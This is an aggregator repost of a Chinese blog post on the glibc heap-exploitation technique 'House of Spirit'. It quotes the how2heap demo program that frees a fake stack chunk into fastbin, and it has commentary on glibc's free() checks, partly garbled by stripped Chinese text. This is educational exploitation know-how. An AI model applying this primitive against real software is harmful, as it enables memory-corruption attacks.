惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Google DeepMind News
Google DeepMind News
B
Blog RSS Feed
量子位
aimingoo的专栏
aimingoo的专栏
V
Visual Studio Blog
Y
Y Combinator Blog
Vercel News
Vercel News
云风的 BLOG
云风的 BLOG
宝玉的分享
宝玉的分享
Engineering at Meta
Engineering at Meta
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
GbyAI
GbyAI
人人都是产品经理
人人都是产品经理
博客园 - 叶小钗
Stack Overflow Blog
Stack Overflow Blog
大猫的无限游戏
大猫的无限游戏
Microsoft Security Blog
Microsoft Security Blog
B
Blog
Last Week in AI
Last Week in AI
有赞技术团队
有赞技术团队
博客园 - 聂微东
腾讯CDC
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
J
Java Code Geeks

Entropic

Inspect: Read the Bits :: Entropic NETGEAR EXS27 NGR LAN-side Pre-auth Command Injection in llmnrd via LLMNR Query Name :: Entropic ANSI Ink for Philes :: Entropic NETGEAR EXS27 NGR Pre-auth Administrator Takeover Chained to Root SSH Shell via Configuration Restore :: Entropic NETGEAR EXS27 NGR Pre-auth debug.cgi Archive Sensitive Information Disclosure :: Entropic Let's Decrypt NETGEAR EXS27 NGR Firmware V1.0.1.34! :: Entropic NETGEAR EXS27 NGR Local-LAN/L2 Pre-auth Command Injection in Root-started devProbe via DHCP Option 12 Hostname :: Entropic CVE-2017-9048: libxml2 :: Entropic CVE-2016-9297: LibTIFF :: Entropic CVE-2017-13028: TCPdump :: Entropic Fuzz two legacy CVEs in libexif :: Entropic CVE-2019-13288: Xpdf :: Entropic The Fuzzy Notebook :: Entropic Write-ups: Pwnable.tw :: Entropic Write-ups: System Security (Microarchitecture Exploitation) series :: Entropic Intel Control-flow Enforcement Technology Bypass :: Entropic Write-ups: 0xL4ugh CTF v5 :: Entropic 此地不宜调试 :: Entropic 梅花易数札记 :: Entropic Write-ups: ARM Architecture (ARM64 ROP) series :: Entropic The Cross-ISAs Notebook :: Entropic 2025 年终总结 :: Entropic Write-ups: System Security (Kernel Security) series (Completed) :: Entropic Write-ups: BlackHat MEA CTF Final 2025 :: Entropic Write-ups: Software Exploitation (Exploitation Primitives) series (Completed) :: Entropic Sapido RB-1732 路由器 RCE 漏洞 :: Entropic Write-ups: Software Exploitation (File Struct Exploits) series (Completed) :: Entropic Write-ups: 第八届「强网」拟态防御国际精英挑战赛-线上预选赛 :: Entropic Write-ups: 第九届「强网杯」全国网络安全挑战赛 :: Entropic Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series (Completed) :: Entropic
屋宇之术:Labyrinth of Houses :: Entropic
CuB3y0nd · 2025-10-04 · via Entropic
# House of Spirit

## Applicable Range

- latest

## Principles

house Spirit 

 [how2heap](https://github.com/shellphish/how2heap)  example code 
 [glibc_2.35/house_of_spirit.c](https://github.com/shellphish/ho
w2heap/blob/master/glibc_2.35/house_of_spirit.c)

```c
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
  setbuf(stdout, NULL);

  puts("This file demonstrates the house of spirit attack.");
  puts("This attack adds a non-heap pointer into fastbin, thus leading to "
       "(nearly) arbitrary write.");
  puts("Required primitives: known target address, ability to set up the "
       "start/end of the target memory");

  puts("nStep 1: Allocate 7 chunks and free them to fill up tcache");
  void *chunks[7];
  for (int i = 0; i < 7; i++) {
    chunks[i] = malloc(0x30);
  }
  for (int i = 0; i < 7; i++) {
    free(chunks[i]);
  }

  puts("nStep 2: Prepare the fake chunk");
  // This has nothing to do with fastbinsY (do not be fooled by the 10) -
  // fake_chunks is just a piece of memory to fulfil allocations (pointed to
  // from fastbinsY)
  long fake_chunks[10] __attribute__((aligned(0x10)));
  printf("The target fake chunk is at %pn", fake_chunks);
  printf(
      "It contains two chunks. The first starts at %p and the second at %p.n",
      &fake_chunks[1], &fake_chunks[9]);
  printf("This chunk.size of this region has to be 16 more than the region (to "
         "accommodate the chunk data) while still falling into the fastbin "
         "category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by "
         "free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) "
         "and NON_MAIN_ARENA (third lsb) bits cause problems.n");
  puts("... note that this has to be the size of the next malloc request "
       "rounded to the internal size used by the malloc implementation. E.g. "
       "on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for "
       "the malloc parameter at the end.");
  printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it "
         "is a valid chunk.n",
         &fake_chunks[1]);
  fake_chunks[1] = 0x40; // this is the size

  printf("The chunk.size of the *next* fake region has to be sane. That is > "
         "2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for "
         "the main arena) to pass the nextsize integrity checks. No need for "
         "fastbin size.n");
  printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk "
         "can succeed.n",
         &fake_chunks[9]);
  fake_chunks[9] = 0x1234; // nextsize

  puts("nStep 3: Free the first fake chunk");
  puts("Note that the address of the fake chunk must be 16-byte aligned.n");
  void *victim = &fake_chunks[2];
  free(victim);

  puts("nStep 4: Take out the fake chunk");
  printf("Now the next calloc will return our fake chunk at %p!n",
         &fake_chunks[2]);
  printf(
      "malloc can do the trick as well, you just need to do it for 8 times.");
  void *allocated = calloc(1, 0x30);
  printf("malloc(0x30): %p, fake chunk: %pn", allocated, victim);

  assert(allocated == victim);
}
```

 malloc 
~_ chill b
ro_~

 tcache  0x40 bin 
 fastbin  0x40 bin  fake chunk  size
 `0x40` nextchunk size  `0x1234`

 `__libc_free`  `chunk_is_mmapped`  `munmap_chun
k` chunk size  `M (IS_MMAPPED)`  0 `_int_f
ree`  chunk  size  `size > MINSIZE` `free(): i
nvalid size` fastbin size  fastbin 
 `chunk_at_offset(p, size) != av->top` nextchunk  
top chunk chunk  `chunksize_noma
sk (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ` nextchunk 
 chunk header size  `chunksize (chunk_at_offset (p, size)) >= av->system_mem`
 chunk  arena  `
free(): invalid next size (fast)` chun
k  fastbin 

:::important
 `NON_MAIN_ARENA`  0  glibc  main arena  chu
nk 

nextchunk  fastbin 

:::

 example code + glibc source code +  debug 
…… glibc 
 house<s>_
_</s>

……